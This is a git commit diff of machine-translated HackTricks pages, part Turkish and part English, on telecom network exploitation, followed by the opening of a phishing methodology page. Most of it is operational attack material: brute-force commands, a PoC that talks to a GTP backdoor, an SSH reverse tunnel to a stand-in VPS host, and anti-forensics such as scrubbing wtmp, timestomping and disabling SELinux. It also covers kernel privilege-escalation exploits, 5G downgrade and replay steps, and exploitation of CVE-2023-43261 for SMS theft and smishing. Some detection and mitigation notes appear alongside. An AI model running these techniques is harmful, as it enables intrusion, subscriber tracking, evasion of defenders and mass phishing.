Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-10-09 00:51:54 +00:00
parent 073567d276
commit 097212262c
2 changed files with 342 additions and 253 deletions

View File

@ -1,27 +1,27 @@
# Telekom Ağ İstismarı (GTP / Roaming Ortamları)
# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobil çekirdek protokoller (GPRS Tunnelling Protocol GTP) sıklıkla yarı-güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü düzyazılı UDP üzerinde neredeyse hiç kimlik doğrulama olmadan çalışırlar, **telekom çevresi içinde elde edilen herhangi bir foothold genellikle doğrudan çekirdek sinyalleme katmanlarına ulaşabilir**. Aşağıdaki notlar sahada gözlemlenen SGSN/GGSN, PGW/SGW ve diğer EPC nodeslara yönelik offensive tricksleri toplar.
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
## 1. Keşif & İlk Erişim
## 1. Recon & Initial Access
### 1.1 Varsayılan OSS / NE Hesapları
Çok sayıda satıcıya ait ağ elemanı, `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … gibi sabit kodlanmış SSH/Telnet kullanıcılarıyla birlikte gelir. Özel bir wordlist brute-force başarısını dramatik şekilde artırır:
### 1.1 Default OSS / NE Accounts
Birçok vendor network elemanı, `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … gibi hard-coded SSH/Telnet kullanıcılarıyla gelir. Özel bir wordlist brute-force başarısını dramatik şekilde artırır:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Cihaz yalnızca bir yönetim VRF'si sağlıyorsa, önce bir jump host üzerinden pivot yapın (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
Cihaz yalnızca management VRF sunuyorsa, önce bir jump host üzerinden pivot yapın (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
### 1.2 GRX/IPX içinde Host Keşfi
Çoğu GRX operatörü hâlâ omurga üzerinden **ICMP echo**'ya izin veriyor. `masscan`'ı dahili `gtpv1` UDP probes ile birleştirerek GTP-C listeners'ı hızlıca haritalayın:
### 1.2 Host Discovery inside GRX/IPX
Çoğu GRX operatörü hâlâ omurga boyunca **ICMP echo**'ya izin veriyor. GTP-C dinleyicilerini hızlıca haritalamak için `masscan`'ı yerleşik `gtpv1` UDP probes ile birleştirin:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Abonelerin Keşfi `cordscan`
## 2. Aboneleri Keşfetme `cordscan`
Aşağıdaki Go aracı **GTP-C Create PDP Context Request** paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'ye hizmet veren mevcut **SGSN / MME**'yi ve bazen abonenin ziyaret ettiği PLMN'i ortaya çıkarır.
Aşağıdaki Go aracı **GTP-C Create PDP Context Request** paketleri hazırlar ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'ye hizmet eden mevcut **SGSN / MME**'yi ve bazen abonenin ziyaret ettiği PLMN'i ortaya çıkarır.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Ana bayraklar:
- `--imsi` Hedef abone IMSI
Anahtar seçenekler:
- `--imsi` Hedef abone IMSI'si
- `--oper` Home / HNI (MCC+MNC)
- `-w` Ham paketleri pcap'e yaz
- `-w` Ham paketleri pcap dosyasına yaz
binary içindeki önemli sabitler taramaları genişletmek için yamalanabilir:
Binary içindeki önemli sabitler, taramaları genişletmek için yamalanabilir:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code Execution over GTP `GTPDoor`
## 3. GTP Üzerinden Kod Çalıştırma `GTPDoor`
`GTPDoor` küçük bir ELF servisidir; UDP 2123'e bind olur ve gelen her GTP-C paketini parse eder. Payload önceden paylaşılmış bir tag ile başlıyorsa, kalan kısım AES-128-CBC ile decrypt edilip `/bin/sh -c` ile çalıştırılır. stdout/stderr, **Echo Response** mesajları içinde exfiltrated edilir; böylece dışa doğru hiçbir session oluşturulmaz.
`GTPDoor` küçük bir ELF servisidir; UDP 2123'e bind olur ve gelen her GTP-C paketini parse eder. Payload önceden paylaşılan bir tag ile başlıyorsa, kalan kısmı AES-128-CBC ile şifre çözülür ve `/bin/sh -c` ile çalıştırılır. stdout/stderr, hiçbir dışa yönelik oturum oluşturulmayacak şekilde **Echo Response** mesajları içinde dışarı aktarılır.
Minimal PoC paket (Python):
Minimal PoC paketi (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* herhangi bir hostun SGSN IP'lerine **dengesiz Echo Requests** göndermesi
* GTP version flag'ı 1 iken message type = 1 (Echo) spesifikasyondan sapma
Tespit:
* SGSN IP'lerine **unbalanced Echo Requests** gönderen herhangi bir host
* message type = 1 (Echo) iken GTP version flag'ın 1 olarak ayarlanmış olması spesifikasyondan sapma
## 4. Çekirdek Üzerinden Pivoting
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` gerçek bir GGSN/PGW yönüne **establish a PDP context towards a real GGSN/PGW** kurabilen bir SGSN emülatörü ile birlikte gelir. Kurulduktan sonra, Linux roaming peer tarafından erişilebilen yeni bir `tun0` arayüzü alır.
`OsmoGGSN` gerçek bir GGSN/PGW'ye karşı **establish a PDP context towards a real GGSN/PGW** kurabilen bir SGSN emülatörü ile gelir. Kurulum tamamlandığında, Linux roaming peer tarafından erişilebilen yeni bir `tun0` arayüzü alır.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Uygun firewall hair-pinning ile bu tünel signalling-only VLANs'ı atlayarak doğrudan **data plane**'e ulaşır.
Uygun firewall hair-pinning ile bu tünel signalling-only VLAN'larını atlayarak sizi doğrudan **data plane**'e ulaştırır.
### 4.2 SSH Reverse Tunnel over Port 53
DNS roaming altyapılarında neredeyse her zaman açıktır. Dahili bir SSH servisini VPS'inizde :53 üzerinde dinleyecek şekildeın ve daha sonra evden geri bağlanın:
### 4.2 SSH Reverse Tunnel Port 53 üzerinden
DNS genellikle roaming altyapılarında her zaman açıktır. VPS'inizde :53'te dinleyen dahili bir SSH servisini dışarıyaın ve daha sonra evden geri bağlanın:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
VPS'te `GatewayPorts yes`'in etkinleştirildiğini kontrol edin.
VPS üzerinde `GatewayPorts yes`'in etkin olduğunu kontrol edin.
## 5. Gizli Kanallar
| Kanal | Taşıma | Dekodlama | Notlar |
|-------|--------|----------|--------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | tamamen pasif dinleyici, giden trafik yok |
| DNS `NoDepDNS` | UDP 53 | XOR (anahtar = `funnyAndHappy`) A-record oktetlerine kodlanmış | `*.nodep` alt alan adını izler |
| GTP `GTPDoor` | UDP 2123 | private IE içindeki AES-128-CBC blob | meşru GTP-C trafiğiyle karışır |
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | tamamen pasif dinleyici, çıkış trafiği yok |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` alt alan adını izler |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meşru GTP-C trafiğine karışır |
Tüm implants, watchdogs uygular; bunlar ikili dosyalarını **timestomp** eder ve çökerlerse yeniden başlatılırlar.
Tüm implantlar, ikili dosyalarını **timestomp** eden ve çöktüklerinde re-spawn eden watchdog'lar uygular.
## 6. Defense Evasion Cheatsheet
## 6. Savunmadan Kaçınma Hızlı Başvuru
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Legacy NE Üzerinde Privilege Escalation
## 7. Legacy NE üzerinde Privilege Escalation
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -111,14 +111,14 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Temizlik ipucu:
Temizleme ipucu:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box
## 8. Araç Kutusu
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` önceki bölümlerde tanımlanan custom tooling.
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` önceki bölümlerde ıklanan özel araçlar.
* `FScan` : intranet TCP taramaları (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : hafif SOCKS5 pivoting
@ -126,49 +126,49 @@ rm -f /tmp/sh ; history -c
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G registration prosedürü NGAP üstünde NAS (Non-Access Stratum) üzerinden çalışır. Security Mode Command/Complete ile NAS güvenliği etkinleşene kadar ilk mesajlar kimlik doğrulamasız ve şifrelenmemiştir. Bu ön-güvenlik penceresi, N2 trafiğini gözlemleyebildiğiniz veya müdahale edebildiğiniz durumlarda (ör. core içinde on-path, rogue gNB veya testbed) birden fazla saldırı yolunu mümkün kılar.
5G kayıt prosedürü NGAP üzerinde NAS (Non-Access Stratum) üzerinden çalışır. Security Mode Command/Complete ile NAS güvenliği etkinleştirilene kadar, ilk mesajlar doğrulanmamış ve şifrelenmemiştir. Bu ön-güvenlik penceresi, N2 trafiğini gözlemleyebildiğiniz veya değiştirebildiğiniz durumlarda (ör. çekirdek içinde on-path, rogue gNB veya testbed) birden fazla saldırı yolunu mümkün kılar.
Registration flow (simplified):
- Registration Request: UE SUCI (encrypted SUPI) ve yetenekleri gönderir.
- Authentication: AMF/AUSF RAND/AUTN gönderir; UE RES* ile yanıt verir.
- Security Mode Command/Complete: NAS bütünlüğü ve şifreleme müzakere edilip etkinleştirilir.
Kayıt akışı (basitleştirilmiş):
- Registration Request: UE SUCI (şifrelenmiş SUPI) ve yetenekleri gönderir.
- Authentication: AMF/AUSF RAND/AUTN gönderir; UE RES* döner.
- Security Mode Command/Complete: NAS bütünlüğü ve şifreleme müzakere edilir ve etkinleştirilir.
- PDU Session Establishment: IP/QoS kurulumu.
Lab setup tips (non-RF):
Laboratuvar kurulum ipuçları (RF dışı):
- Core: Open5GS varsayılan dağıtımı akışları yeniden üretmek için yeterlidir.
- UE: simulator veya test UE; decode için Wireshark kullanın.
- Active tooling: 5GReplay (NAS'i NGAP içinde capture/modify/replay), Sni5Gect (tam bir rogue gNB açmadan NAS'i anlık sniff/patch/inject).
- Useful display filters in Wireshark:
- UE: simulator veya test UE; Wireshark ile decode edin.
- Active tooling: 5GReplay (NGAP içinde NAS yakala/değiştir/yeniden oynat), Sni5Gect (tam bir rogue gNB kurmadan NAS'ı anlık sniff/patch/inject yapar).
- Wireshark için faydalı display filtreleri:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Beklenen: UE/USIM SUCI göndermelidir (SUPI home-network public key ile şifrelenmiş). Registration Request içinde düz metin SUPI/IMSI bulunması, abone takibini kalıcı hale getiren bir gizlilik açığını işaret eder.
Beklenen: UE/USIM SUCI (home-network açık anahtarı ile şifrelenmiş SUPI) göndermelidir. Registration Request içinde düz metin SUPI/IMSI bulunması, kalıcı abone takibini mümkün kılan bir gizlilik hatasını işaret eder.
Nasıl test edilir:
- InitialUEMessage içindeki ilk NAS mesajını yakalayın ve Mobile Identity IE'yi inceleyin.
- Wireshark hızlı kontroller:
- SUCI olarak decode olmalı, IMSI olarak değil.
- Filtre örnekleri: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` olmalı; yokluğu ve bunun yerine `imsi` varlığı sızıntı olduğunu gösterir.
- Wireshark hızlı kontrolleri:
- Bunun SUCI olarak decode etmesi gerekir, IMSI değil.
- Filtre örnekleri: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` mevcut olmalı; bunun yokluğu ve `imsi` varlığı sızıntı gösterir.
Neler toplanmalı:
- Eğer açığa çıktıysa MCC/MNC/MSIN; her UE için loglayın ve zaman/konum boyunca takip edin.
Toplanacaklar:
- Eğer açığa çıkmışsa MCC/MNC/MSIN; UE başına loglayın ve zaman/konum boyunca takip edin.
Mitigasyon:
- Yalnızca SUCI kullanan UE/USIM'leri zorunlu kılın; initial NAS içinde görülen herhangi bir IMSI/SUPI için alarm oluşturun.
Etkisiz hale getirme:
- Yalnızca SUCI destekleyen UE/USIM uygulanmasını zorlayın; initial NAS içinde herhangi bir IMSI/SUPI görülmesinde alarm verin.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Arka plan:
- UE, Registration Request içindeki UE Security Capability IE'de desteklediği EEA (şifreleme) ve EIA (bütünlük) algoritmalarını bildirir.
- UE, Registration Request içindeki UE Security Capability IE'sinde desteklediği EEA (şifreleme) ve EIA (bütünlük) algoritmalarını bildirir.
- Yaygın eşlemeler: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algoritmalardır.
Sorun:
- Registration Request bütünlük koruması olmadığı için, on-path bir saldırgan capability bitlerini temizleyerek Security Mode Command sırasında EEA0/EIA0 seçimini zorlayabilir. Bazı stack'ler acil durum hizmetleri dışında da null algoritmaları yanlışlıkla kabul eder.
- Registration Request bütünlük korumalı olmadığı için, on-path bir saldırgan yetenek bitlerini temizleyerek daha sonra Security Mode Command sırasında EEA0/EIA0 seçiminde zorlayabilir. Bazı yığınlar acil servisler dışında null algoritmalarına yanlışlıkla izin verebilir.
Saldırı adımları:
- InitialUEMessage'i yakalayın ve NAS UE Security Capability'yi yalnızca EEA0/EIA0 gösterecek şekilde değiştirin.
- Sni5Gect ile NAS mesajına hook atıp iletmeden önce capability bitlerini patchleyin.
- AMF'in null şifre/bütünlüğü kabul edip Security Mode'u EEA0/EIA0 ile tamamlayıp tamamlamadığını gözlemleyin.
- InitialUEMessage'ı yakalayın ve NAS UE Security Capability'yi yalnızca EEA0/EIA0 gösterecek şekilde değiştirin.
- Sni5Gect ile NAS mesajını hooklayıp iletmeden önce capability bitlerini patchleyin.
- AMF'nin null şifreleme/bütünlüğü kabul edip etmediğini gözlemleyin ve Security Mode'un EEA0/EIA0 ile tamamlanıp tamamlanmadığını kontrol edin.
Doğrulama/görünürlük:
- Wireshark'ta Security Mode Command/Complete sonrası seçilen algoritmaları doğrulayın.
@ -178,12 +178,12 @@ Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Önlemler (zorunlu):
- AMF/policy'yi, yalnızca kesinlikle zorunlu olduğu durumlar dışında EEA0/EIA0'ı reddedecek şekilde yapılandırın (ör. acil çağrular).
- En azından EEA2/EIA2 uygulanmasını tercih edin; null algoritmaları müzakere eden herhangi bir NAS güvenlik bağlamı için kayıt tutun ve alarm oluşturun.
Azaltma önlemleri (zorunlu):
- AMF/policy'yi EEA0/EIA0'ı yalnızca kesinlikle zorunlu olduğu durumlar (ör. acil çağrılar) hariç reddedecek şekilde yapılandırın.
- En azından EEA2/EIA2 uygulanmasını tercih edin; null algoritmaları müzakere eden herhangi bir NAS security context için kayıt tutma ve alarm mekanizmaları kurun.
### 9.3 İlk Registration Request Replay'i (pre-security NAS)
İlk NAS bütünlük ve tazelikten yoksun olduğu için, yakalanan InitialUEMessage+Registration Request AMF'ye replay edilebilir.
### 9.3 İlk Registration Request'in Replay'i (pre-security NAS)
İlk NAS bütünlük ve tazelik sağlamadığından, yakalanmış InitialUEMessage+Registration Request AMF'ye tekrar oynatılabilir.
PoC rule for 5GReplay to forward matching replays:
```xml
@ -208,32 +208,91 @@ boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Gözlemlenecekler:
- AMF'in yeniden oynatmayı kabul edip Kimlik Doğrulamasına devam edip etmediği; tazelik/bağlam doğrulamasının olmamasıığa işaret eder.
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigasyonlar:
- AMF'de yeniden oynatma koruması/bağlam bağlamasını zorunlu kılın; GNB/UE bazında oran sınırlaması ve korelasyon uygulayın.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: core'ı emüle etmek için bir AMF/SMF/UPF başlatın; N2 (NGAP) ve NAS'ı gözlemleyin.
- Wireshark: NGAP/NAS çözümlemelerini doğrulayın; Kayıt işlemini izole etmek için yukarıdaki filtreleri uygulayın.
- 5GReplay: bir kayıt yakalayın, ardından kural gereğince belirli NGAP + NAS mesajlarını yeniden oynatın.
- Sni5Gect: NAS kontrol düzlemini canlı olarak sniff/modify/inject ederek null algorithms zorlaması yapın veya kimlik doğrulama dizilerini bozun.
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
### 9.5 Defensive checklist
- Registration Request'i düz metin SUPI/IMSI açısından sürekli denetleyin; suçlu cihazları/USIM'leri engelleyin.
- EEA0/EIA0'ı dar tanımlı acil durum prosedürleri dışında reddedin; en az EEA2/EIA2 gerektirin.
- Yetkisiz veya yanlış yapılandırılmış altyapıyı tespit edin: yetkisiz gNB/AMF, beklenmeyen N2 eşleri.
- null algorithms ile sonuçlanan veya InitialUEMessage'in sık yeniden oynatımlarına yol açan NAS güvenlik modlarında uyarı verin.
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
---
## Algılama Fikirleri
1. **SGSN/GGSN dışındaki herhangi bir cihazın Create PDP Context Requests başlatması**.
2. **Standart dışı portlar (53, 80, 443) SSH handshakes alıyor** iç IP'lerden.
3. **Karşılık gelen Echo Responses olmadan sık Echo Requests** GTPDoor beacon'larına işaret edebilir.
4. **Büyük, sıfır olmayan identifier/sequence alanlarıyla yüksek oranlı ICMP echo-reply trafiği**.
5. 5G: **InitialUEMessage üzerinde NAS Registration Requests taşıyan, aynı uç noktalardan tekrarlanan** (yeniden oynatma sinyali).
6. 5G: **Acil durum bağlamı dışında EEA0/EIA0 müzakere eden NAS Security Mode**.
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPCstyle endpoint at `/cgi`. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Cevaplar `timestamp`, `content`, `phone_number` (E.164) ve `status` (`success` veya `failed`) gibi alanlar içerir. Aynı numaraya tekrarlanan `failed` gönderimleri genellikle saldırganların, blasting'den önce bir router/SIM'in teslimat yapıp yapamayacağını doğrulamak için yaptığı “capability checks” olur.
Örnek curl ile SMS metadata exfiltrate etme:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Auth artefaktları hakkında notlar:
- Bazı trafik bir auth cookie içerebilir, ancak yönetim arayüzü Internet-facing olduğunda, açığa çıkmış cihazların büyük bir kısmı `query_inbox`/`query_outbox` isteklerine herhangi bir doğrulama olmadan yanıt verir.
- Auth gerektiren ortamlarda, previously-leaked credentials (bkz. aşağıda) erişimi geri sağlar.
Kimlik bilgisi kurtarma yolu CVE-2023-43261:
- Etkilenen familyalar: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Sorun: web-served logs (ör. `httpd.log`) `/lang/log/` altında kimlik doğrulama olmadan erişilebilir ve admin login olaylarını içerir; parolalar client-side JavaScript'te bulunan hardcoded AES key/IV kullanılarak şifrelenmiş olarak kayıtlıdır.
- Pratik erişim ve decrypt:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Leaked parolaları decrypt etmek için minimal Python (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Av ve tespit fikirleri (ağ):
- Alert on unauthenticated `POST /cgi` whose JSON body contains `base`/`function` set to `query_inbox` or `query_outbox`.
- Track repeated `POST /cgi` bursts followed by `status":"failed"` entries across many unique numbers from the same source IP (capability testing).
- Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.
Shodan/OSINT pivotları (sahada görülen örnekler):
- `http.html:"rt_title"` matches Milesight router panels.
- Google dorking for exposed logs: `"/lang/log/system" ext:log`.
Operasyonel etki: router'lar içinde gerçek carrier SIM'lerinin kullanılması phishing için çok yüksek SMS deliverability/credibility sağlar; inbox/outbox exposure leaks sensitive metadata at scale.
---
## Tespit Fikirleri
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## Referanslar
@ -243,5 +302,8 @@ Mitigasyonlar:
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,50 +1,50 @@
# Phishing Metodolojisi
# Phishing Methodology
{{#include ../../banners/hacktricks-training.md}}
## Metodoloji
## Methodology
1. Hedef üzerinde Recon (keşif) yapın
1. Hedef **domain**'i seçin.
2. Hedefin kullandığı giriş portallarını bulmak için temel web enumeration yapın ve hangi portalı taklit edeceğinize karar verin.
3. Bazı **OSINT** yöntemleri kullanarak e-posta adreslerini bulun.
2. Ortamı hazırlayın
1. Phishing değerlendirmesinde kullanacağınız **domain**'i satın alın
2. E-posta servisine ait kayıtları yapılandırın (SPF, DMARC, DKIM, rDNS)
1. Recon the victim
1. Select the **hedef alan adı**.
2. Hedefin kullandığı **login portalları arayarak** temel web keşfi yapın ve hangi portalı **taklit edeceğinize karar verin**.
3. **OSINT** kullanarak **e-posta adresleri bulun**.
2. Prepare the environment
1. **Phishing değerlendirmesinde kullanacağınız alan adını satın alın**
2. **E-posta servisiyle ilgili kayıtları yapılandırın** (SPF, DMARC, DKIM, rDNS)
3. VPS'i **gophish** ile yapılandırın
3. Kampanyayı hazırlayın
1. **Email template**'i hazırlayın
2. Kimlik bilgilerini çalmak için **web page**'i hazırlayın
3. Prepare the campaign
1. **E-posta şablonunu** hazırlayın
2. Kimlik bilgilerini çalmak için **web sayfasını** hazırlayın
4. Kampanyayı başlatın!
## Benzer domain isimleri oluşturma veya güvenilir bir domain satın alma
## Generate similar domain names or buy a trusted domain
### Domain Name Variation Techniques
- **Keyword**: Domain adı orijinal domainin önemli bir **keyword**ünü **contains** eder (ör. zelster.com-management.com).
- **hypened subdomain**: Bir alt domaindeki **nokta yerine tire** koyun (ör. www-zelster.com).
- **New TLD**: Aynı domaini **yeni bir TLD** ile kullanın (ör. zelster.org)
- **Homoglyph**: Domain adındaki bir harfi **benzer görünen** harflerle değiştirir (ör. zelfser.com).
- **Keyword**: Alan adı, orijinal domainin önemli bir **anahtar kelimesini** içerir (ör. zelster.com-management.com).
- **hypened subdomain**: Bir alt alan adındaki **noktayı tıraç ile değiştirin** (ör. www-zelster.com).
- **New TLD**: Aynı domainin **yeni bir TLD** ile kullanımı (ör. zelster.org)
- **Homoglyph**: Alan adındaki bir harfi **benzer görünen harflerle** değiştirir (ör. zelfser.com).
{{#ref}}
homograph-attacks.md
{{#endref}}
- **Transposition:** Domain adındaki iki harfi **swap** eder (ör. zelsetr.com).
- **Singularization/Pluralization**: Domain adının sonuna “s” ekler veya çıkarır (ör. zeltsers.com).
- **Omission**: Domain adından bir harfi **kaldırır** (ör. zelser.com).
- **Repetition:** Domain adındaki bir harfi **tekrarlar** (ör. zeltsser.com).
- **Replacement**: Homoglyph'e benzer ama daha az gizli. Domain adındaki harflerden birini başka bir harf ile değiştirir, örneğin klavyede komşu bir harf (ör. zektser.com).
- **Subdomained**: Domain adının içine bir **nokta** ekler (ör. ze.lster.com).
- **Insertion**: Domain adına bir harf **ekler** (ör. zerltser.com).
- **Missing dot**: TLD'yi domain adına ekleyerek noktanın eksik olduğu bir yapı oluşturur. (ör. zelstercom.com)
- **Transposition:** Alan adı içinde iki harfi **değiştirir** (ör. zelsetr.com).
- **Singularization/Pluralization**: Alan adının sonuna “s” ekler veya kaldırır (ör. zeltsers.com).
- **Omission**: Alan adından bir harfi **çıkarır** (ör. zelser.com).
- **Repetition:** Alan adındaki bir harfi **tekrar eder** (ör. zeltsser.com).
- **Replacement**: Homoglyph'e benzer fakat daha az gizli. Alan adındaki bir harfi, klavyede komşu olabilecek başka bir harfle değiştirir (ör. zektser.com).
- **Subdomained**: Alan adı içine bir **nokta** ekler (ör. ze.lster.com).
- **Insertion**: Alan adına bir **harf ekler** (ör. zerltser.com).
- **Missing dot**: TLD'yi alan adına ekler. (ör. zelstercom.com)
**Automatic Tools**
- [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**Websites**
**Web siteleri**
- [https://dnstwist.it/](https://dnstwist.it)
- [https://dnstwister.report/](https://dnstwister.report)
@ -52,25 +52,25 @@ homograph-attacks.md
### Bitflipping
Depolanan veya iletişim halindeki bazı bitlerin, güneş patlamaları, kozmik ışınlar veya donanım hataları gibi çeşitli faktörler nedeniyle otomatik olarak **bit flip** olma olasılığı vardır.
Güneş patlamaları, kozmik ışınlar veya donanım hataları gibi çeşitli faktörler nedeniyle saklanan veya iletişim halindeki bazı bitlerin **otomatik olarak tersine dönebileceği** bir olasılık vardır.
Bu kavram DNS isteklerine **uygulandığında**, DNS sunucusunun aldığı domain ile başlangıçta istenen domain aynı olmayabilir.
Bu kavram **DNS isteklerine uygulandığında**, DNS sunucusunun aldığı **domain'in başlangıçta istenen domain ile aynı olmama ihtimali** vardır.
Örneğin, "windows.com" domainindeki tek bir bit değişikliği onu "windnws.com" yapabilir.
Örneğin, "windows.com" domainindeki tek bir bit değişikliği onu "windnws.com" haline getirebilir.
Saldırganlar, meşru kullanıcıları kendi altyapılarına yönlendirmek amacıyla hedef domain ile benzer olan birden fazla bit-flipping domain kaydederek bundan **faydalanabilirler**.
Saldırganlar, meşru kullanıcıları kendi altyapılarına yönlendirmek amacıyla hedef domain ile benzer **birden fazla bit-flipping domaini kaydederek** bundan yararlanabilirler.
